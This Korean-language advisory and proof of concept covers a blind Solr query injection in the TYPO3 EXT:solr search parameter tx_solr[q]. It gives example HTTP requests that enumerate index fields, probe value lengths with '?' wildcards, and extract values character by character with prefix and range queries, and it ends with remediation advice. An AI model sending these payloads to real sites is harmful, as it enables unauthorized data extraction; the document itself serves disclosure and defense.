
CVE-2026-56096에 대한 개념 증명 및 기술 분석 문서로, TYPO3 EXT:solr에서 발생하는 블라인드 Solr 쿼리 인젝션으로 인해 인증 없이 필드 열거 및 데이터 추출이 가능하다.
공식 TYPO3 Apache Solr 확장(EXT:solr / apache-solr-for-typo3/solr)에서 아키텍처적 보안 취약점이 발견되었습니다. 이 문제는 인증되지 않은 원격 공격자가 검색 매개변수 tx_solr[q]를 통해 임의의 Solr/Lucene 쿼리 구문을 주입할 수 있게 하여, 검색 인덱스로부터 무단 블라인드 필드 열거 및 전체 메타데이터 추출을 가능하게 합니다.
EXT:solr (검색 매개변수: tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NEXT:solr 확장은 tx_solr[q] 매개변수를 통해 사용자가 제공한 검색어를 받아 Apache Solr 엔진으로 전달합니다. 설계상 이 확장은 와일드카드(*), 단일 문자 와일드카드(?), 필드 선택자(:), 범위 쿼리([a TO z])와 같은 특정 쿼리 연산자를 허용하여 패싯 필터링과 같은 정당한 기능을 지원합니다.
이러한 문자들이 강제 화이트리스트나 쿼리 추상화 계층 없이 백엔드 쿼리 구성에 직접 전달되었기 때문에, 공격자는 필드별 구문을 제공하여 의도된 검색 경계를 벗어날 수 있습니다. 이를 통해 인증되지 않은 사용자가 내부 Solr 필드를 직접 쿼리하고 불리언 기반 블라인드 기법을 사용하여 인덱스 데이터를 추출할 수 있습니다.
field:*를 통한 필드 열거임의의 또는 추측한 필드 이름에 와일드카드를 추가함으로써, 공격자는 해당 필드가 스키마 내에 존재하는지 확인할 수 있습니다:
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
필드가 존재하면 Solr는 일치하는 모든 레코드에 걸쳐 쿼리를 처리하며(종종 서로 다른 응답 코드나 볼륨 관련 동작을 유발함), 이를 통해 자동화된 워드리스트 기반 필드 열거가 가능합니다.
공격자는 불리언 추론을 사용하여 민감한 필드 값을 문자 단위로 추출할 수 있습니다:
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Value does not begin with 'b')
? 연산자를 통한 길이 탐지단일 문자 와일드카드 연산자(?)는 문자 반복을 시작하기 전에 저장된 문자열의 정확한 길이를 판별할 수 있습니다:
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Checks for 13+ characters)
[a TO z])범위 쿼리는 초기 문자에 대한 이진 검색 추출을 허용하여, 문자 위치당 필요한 요청 수를 26회에서 약 5회로 줄입니다:
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determines if character falls within 'n'-'z'
길이 탐지, 범위 쿼리, 접두사 와일드카드를 결합하면 최소한의 요청으로 전체 필드 추출이 가능합니다.
EXT:solr 검색 엔드포인트를 사용하는 모든 기본 설치에 영향을 미쳤습니다.* 및 :와 같은 연산자가 의도된 검색 기능을 수행하므로 전역 문자 이스케이프는 불충분합니다. 해결을 위해서는 애플리케이션 계층의 화이트리스트와 파싱 모델이 필요합니다:
[email protected])에 공식 취약점 보고서 제출.